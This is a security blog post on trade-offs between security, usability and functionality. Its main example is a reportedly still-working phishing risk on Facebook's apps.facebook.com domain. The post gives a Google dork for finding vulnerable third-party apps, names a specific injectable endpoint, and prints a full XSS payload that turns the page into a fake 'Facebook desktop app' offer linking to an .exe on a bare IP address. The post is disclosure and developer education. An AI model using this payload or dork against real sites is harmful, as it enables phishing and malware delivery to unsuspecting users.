---

Greetings $readers;

This will be a short post debating on where the appropriate trade-offs should be made between security, usability, and functionality by discussing the concept of what is commonly referred to as the “triangle paradox” within cybersecurity. I will be giving a live example of what I personally believe is an example of a bad decision that has been made whilst considering how to make this trade-off, but first I will explain the concept of the triangle paradox for those who aren’t aware of it. If you’re familiar with the concept of the CIA Triad within cybersecurity, then this is a similar (ish) concept. In fact, much of the advice I am going to give within this article can also be applied to the CIA Triad when it comes to determining the correct trade-offs to make.

The best way to illustrate what the triangle paradox is and how the trade-offs are decided is by considering the following image:

Every website or every bit of functionality will have the dot that is in the middle of the triangle located at a different part of the triangle, depending on which tradeoff the developers have decided to make, for example:

• If we want the website to have as much functionality as possible, then it will have less security and less usability.
• If we want the website to have as much security as possible, then it will have less functionality and less usability.
• If we want the website to have as much usability as possible, then it will have less security and less functionality.

Another way of representing this same triangle is the “Security, Convenience, and Freedom” triangle as seen below:

This is the exact same concept just with “convenience” being used to represent “functionality” and “freedom” being used to represent “usability” — I’ll be sticking to the first triangle rather than the second one, and my reasoning for that is because most developers will understand exactly what is meant by “functionality” or “usability” whereas words such as “convenience” and “freedom” leave a lot more room for ambiguity. Just to cover all of my bases though, I’ll quote the definitions given by Dan Geer, the person who came up with this secondary triangle model. He talked about it during his Keynote speech at the Blackhat conference in 2014. For anyone interested, his speech can be found here.

Here is his take on it:

1. A solution is secure and convenient, but will not foster freedom.
2. A solution is convenient and fosters freedom, but will not be secure.
3. A solution is secure and fosters freedom, but will be inconvenient.

When developing a website or any kind of an application, sacrifices have to be made and the developers need to consider where in the triangle they want their product to fall. If they want it to be as secure as possible, then usability and security must be sacrificed to some extent, it is up to the developer to decide which is the best trade-off to make, but at the end of the day sacrifices in at least two of these three areas will need to be made to a certain extent, and it’s often a fine line and difficult to determine which are the best choices to make in terms of what should be sacrificed. The most important consideration for a developer to make is whether the functionality that they are implementing is so important or crucial that it warrants sacrifices to be made in terms of security. In some situations, the functionality may be essential to implement as an integral part of the application, with the benefits of its implementation outweighing any potential security risks that it may introduce.. but in other cases, developers will make bad decisions and implement non-essential functionality that isn’t of any real importance, in exchange for sacrificing the security of the application to a huge extent. Within this post I will be covering one such case in Facebook, demonstrating how intended functionality that isn’t essential can be abused in a number of ways that show the security risks of such functionality vastly outweigh its actual benefits. I’ll also be discussing in general the considerations that developers should keep in mind when deciding which trade-offs to make when it comes to the implementation of new functionality — as I mentioned earlier, it’s often a very fine line and can be difficult to properly decide whether or not implementation of certain functionality is worth sacrifices in other areas, however I’ll give my personal advice on how to best make such decisions and what should be considered while making these decisions. It’s often a case of finding the correct balance, but that can be difficult to do in many situations even for the most experienced of developers.

Whenever I’m implementing new functionality into a website, I ask myself the following questions:

1. Is the functionality essential or non-essential?
2. If it is non-essential functionality, then to what extent will implementing it improve the overall user experience?
3. To which extent will adding this functionality have the potential to introduce vulnerabilities? How much is it going to increase the overall size of your potential attack surface? (This one can be difficult to answer if you aren’t already working in cybersecurity, but the best way to determine his is by figuring out how many new user inputs your functionality is introducing, and how many of those user inputs are being passed to potentially dangerous functions).
4. Is there a way this same functionality can be implemented in a manner that helps reduce the overall risk? (I’ll get to a working example of this later on the article)
5. Will this functionality be useful or important enough to end users that it justifies the potential security risk that introduction of such functionality would cause?

Depending on the nature of the application and the specific functionality, in some instances there is a valid justification for its implementation, but in many other instances the potential security risk from the introduction of such functionality vastly outweighs the benefits of the aforementioned functionality to an extent that implementing it simply cannot be justified.

In some cases, the functionality could be implemented still but it could be done so in a manner that minimizes the security impact. For example, a few years ago I found some functionality in usa.gov that was essentially a link shortening service, anyone could use this functionality and they could input any URL they wanted. A custom URL on usa.gov would then be generated and when the URL was accessed, it would automatically redirect you to a third-party website. The obvious risk here is that malicious users could have used it in order to carry out spear phishing campaigns specifically for US Government sites or services. For example they could create a fake US Government website that requests that you input your Social Security Number, passport scans, and other form of PII.. then as part of their phishing campaign, as an alternative to linking people to a third-party domain disguised as the US Government, they could make use of the link shortening functionality on usa.gov in order to link the victims of their phishing campaign to an actual .gov domain, making their phishing campaign come across as a lot more convincing. Rather than getting rid of this functionality entirely, the US Government could have made it so that rather than automatically redirecting to the third-party website, they instead load a page with a notification to the user that they are about to be redirected to a third-party website that isn’t part of the US Government — if they were to have done this, then the link shortening functionality would have still worked as intended, but it would have drastically reduced the risk of it being used for somewhat convincing spear phishing campaigns.

The example above is just one of many, but this is something that should always be taken into consideration while thinking about whether the implementation of certain functionality outweighs the potential security risk introduced as a result of that functionality. Developers should always ask themselves “Can I still implement this functionality in a certain manner where the functionality will work as intended whilst also reducing the potential security risk caused by the introduction of this functionality?” — sometimes the answer to this question is “no”, in which case developers need to have a serious think about whether this functionality is worth implementing and whether the pros outweigh the cons (if I am ever in a situation like this then generally I’ll create a checklist of all of the potential pros vs all of the potential cons, and I’ll take the results of that checklist into consideration whilst deciding whether or not to implement it).. however my first thought will always be whether it will be possible to implement this functionality in a manner wherein it still works but the potential security risk is minimized.

I am going to give a (still working) real-world example of what I personally think is a terrible decision in terms of functionality outweighing the potential security risk. In the example I am about to give, the functionality could have easily been implemented in a way where the potential security risk is kept to a minimum, but if anything, they’ve implemented it in a weigh where they’ve actually increased the security risk far more than it needed to be increased. I will cover this example in the next few paragraphs, and then afterwards I’ll explain how this exact same functionality could have been implemented in a manner where the risk is minimized.

The functionality that I’m discussing here affects Facebook, more specifically the apps.facebook.com domain. The apps.facebook.com domain is used for embedding third-party content (i.e. websites that aren’t Facebook) onto a page with the facebook banner on it. Although this is not within scope of their BBP it is still a security risk – despite the fact that the vulnerabilities would be within external websites rather than Facebook, the outcome of vulnerabilities (think XSS / HTML Injection) would be displayed under the facebook.com domain and under the Facebook banner that the regular user has grown accustomed to. When naive internet users read up on how to prevent their accounts being stolen, they are warned of phishing attacks and told to always check the URL to make sure it’s spelled correctly – when such a user sees the correctly spelled URL, they’ll assume that its completely legitimate and accept it as a trusted source. There are thousands of potentially vulnerable endpoints in the apps.facebook.com subdomain which could be abused in this exact same manner. I will be covering the (very simple) process of how to identify such endpoints.

To start out with, we need to identify a HTML Injection / XSS issue in any of the several thousand external websites that are under the apps.facebook.com domain — I found an example just by using some very basic google dorks:

site:apps.facebook.com filetype:php inurl:search

By looking through the Google results, I identified a third-party website that uses the apps.facebook.com domain which is vulnerable to HTML Injection + XSS. This led me to the following endpoint:

https://apps.rezonux.com/caricature/view.php

we can replace “rezonux” with “facebook” to access the above URL via the apps.facebook.com domain, like so:

https://apps.facebook.com/caricature/view.php

This next part is where I believe Facebook really messed up. Whilst accessing a third-party site under the apps.facebook.com domain, it automatically includes the official Facebook site banner at the top of the webpage:

An attacker doesn’t need to inject this banner, but instead it automatically gets included, making it seem to the end user that this is part of the official Facebook website as opposed to some third-party website.

Although someone could in theory create their own page embedded under this domain (through legitimate means, i.e. their own Facebook app), serving malicious content in this manner isn’t exactly viable as the Facebook staff would catch on and delete this app – looking for vulnerabilities in currently existing apps then making a one-time link that will serve the malicious content is a more viable option, since there is no malicious page for the Facebook admins to see (unless reported to them w/ screenshots of the URL).

Below is an example page designed to demonstrate how this third-party website could be abused in order to make the Facebook domain could be used to serve malware (note that in a real attack time would be spend to make both the content on the page and the URL itself more convincing – this is just for demonstration purposes):

https://apps.facebook.com/caricatura/view.php?friend=501337&effect=&x=&y=%22/%3E%3Cimg+src=x%20onerror=%22document.body.innerHTML=%27%3Ccenter%3E%3Cfont%20face=Arial%20color=black%20size=75%3EDownload%20the%20new%20Facebook%20desktop%20app%20here%20%28beta%20version%29:%3Cbr%3E%3Cbr%3E%3Ca%20href=http://45.55.162.179/evil.exe%3EDownload%20Now%3C/a%3E%3C/font%3E%3Cfont%20size=20%20color=black%3E%3Cbr%3E%3Ch6%3EIf%20you%20have%20trouble%20downloading,%20please%20hold%20down%20the%20CTRL%20key%20when%20clicking%20the%20link%3Cbr%3E%3Cbr%3EPlease%20submit%20any%20feedback%20%3Ca%20href=http://lol.com%3Ehere%3C/a%3E%3C/h6%3E%20%3C/font%3E%27;document.body.style.background=%27white%27%22%3E

Of course in a real-world example, this payload would be obfuscated in order to make it look more convincing (and the injected HTML would be made to look a lot more “official”, however this is just a basic example to demonstrate the issue wherein the introduced security risk vastly outweighs the benefits of the introduced functionality). In this example, some HTML has been injected to trick people into thinking that there is a new desktop application for Facebook which can be downloaded (and considering it’s specifically being served via the apps.facebook.com domain, people who aren’t into security could assume that it was legitimately a new Facebook desktop application that had been made available — especially if it was sent out to Facebook users via email spoofing, so that the links to this came from a facebook.com email address). Here is what the page looks like:

When the “Download Now” hyperlink is clicked, it will initiate a download from a separate third-party server and the contents of the download will be malware that the attacker has created.

You should also note that in this example, the download link isn’t actually a malicious file (but rather an empty file with the .exe extension – once again for demonstration purposes)

In this case, Facebook have definitely chose functionality over security, and the trade-off they have made makes targeted phishing campaigns against Facebook users stupidly easy.

Below is a video PoC, demonstrating how the attack would play out:

I think this is a clear example of where the security risk outweighs the benefits of the functionality — but the frustrating part is that this exact same functionality could have been implemented in a manner where the security risk is drastically reduced. If Facebook had simply did the following, then the potential security risk would be minimal:

• Facebook developers should have avoided automatically including the Facebook banner at the top of the webpage, as by doing so they are making it seem like it is actually part of Facebook as opposed to being a third-party web application.
• In place of the Facebook banner, Facebook developers should have instead included a separate banner at the top of the webpage to notify users that they are looking at an external third-party web application which is NOT part of Facebook.

That’s all I’m covering for now, this was just intended to be a short post to help get developers thinking about which considerations need to be made when introducing this functionality, and more specifically how to use those considerations to determine whether the introduction of such functionality outweighs the potential security risks that implementing the functionality could cause. This is something many developers overlook despite it being very important. I gave a few examples of how the functionality could be implemented in a manner that helps reduce any potential security risks, and this is something that developers definitely need to be thinking about. Rather than just entirely dismissing the idea of implementing certain functionality due to a potentail security risk, developers should be considering ways in which the functionality could still be implemented whilst also reducing the potential security risk by implementing it in a specific manner, such as the examples given within this post. I’ll be doing a follow-up post around the CIA Triad specifically, as a (semi-related) topic to this current post on the “triangle paradox”.

Thanks for reading.

./mlt –out